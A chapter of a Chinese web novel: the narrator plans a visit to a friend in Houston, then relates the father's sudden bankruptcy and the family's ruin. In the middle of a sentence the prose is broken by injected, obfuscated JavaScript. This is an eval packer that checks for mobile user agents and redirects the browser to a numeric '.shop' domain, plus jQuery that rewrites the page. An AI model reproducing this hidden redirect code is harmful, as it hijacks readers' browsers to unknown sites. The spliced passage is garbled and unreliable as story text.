一个月后,杰诺启程飞往休斯顿提前准备入职事项,如若不出意外,今后他将会一直定居在那里。 落地时杰诺先是给我打了一通电话报平安,直到安顿好所有事物,才告知我自己现在的住址。 我不由得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228679|197586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打趣他:“你这是很希望我去见你的意思吗?原来我们优秀的杰诺博士也怕寂寞啊。” “呵呵,我不否认这点。” 杰诺愉悦的笑声从听筒中传来,震颤的气流音搔得我耳廓发痒。 “但抛开这些不谈,我猜你应该也会想参观这边的火箭公园,与单纯的照片不同,真实的土星五号要更加巍峨壮观,亦或者去亲手触摸一块真正的月球岩石?我敢保证,那绝对是十分雅致的体验。” “听起来不错,这算约会邀请吗?” “如果你这样认为,那么是的。” “………” 我承认自己被说得很是心动。 尽管我并不像杰诺那般热衷于探索太空与宇宙,但我确实对能够接触未知的事物而充满兴趣。 NASA的游客中心啊……我还没有去过呢。 我在心中算了下日期,考虑到暑期那三个月的长假完全可以抽时间拜访,顺便还可以为我许久没更新的账号做视频取材,便也笑着答应了。 “假期不忙的话,我会去的。” 约定好行程,又询问过对方那边的情况如何、是否还习惯后,我们在一派轻松的氛围里结束了此次通话。 与两名好友分别后,我的人生似乎又回归了过去那般按部就班的节奏。 吃饭、学习、社交……富家子弟的身份几乎在哪里都是良好的通行证,金钱带来的各种便利是只有真正体会过的人才能懂的。 我很满意现在的生活。 而我也一直以为,这样无忧无虑且自在的日子可以永远持续下去。 ………… 可惜,天不遂人愿。 恣意张扬的日常如阳光下的泡沫,一触即碎。 变化来得非常突然。 ——父亲破产了。 合伙人卷款跑路,合资公司一夜之间人去楼空,身为股东的父亲需要独自面对那笔堪称天文数字的债务,投资出去的钱全部打了水漂。 税务局的动作比债主还快,过去公司私底下拖欠的税务被翻了个底朝天,本该为此负责的人不知所踪,现在这笔账便落到了父亲个人头上,即使破产也躲不掉。 为了填补窟窿,父母开始清点名下资产,房子挂牌出售,豪车也挂上了二手网站,可相较于那巨额债款却也仅是杯水车薪。 那些曾经和父亲关系要好的所谓商业伙伴早就避之莫及,听闻他破产的消息一个个翻脸比翻书还快,唯有几个认识许久的真心朋友倒是在力所能及的范围内出手相助,可效果也是微乎其微。 现在家里最需要的是钱,可没有人能帮我们,大家都自顾不暇,没办法为他人的苦难而让自己的家庭承担风险,毕竟谁也不清楚这笔钱是否还能要的回来。 社会的真实一面彻底在我面前展露无遗,却是以这样血淋淋的方式,残酷嘲弄着我的天真。 我深刻体会到了,一旦你跌倒,所有政策和规则都在拉你下坠,就像嗅到血腥味的鬣狗,直至吃干抹净才肯罢休。 我的平静生活就此被搅得天翻地覆。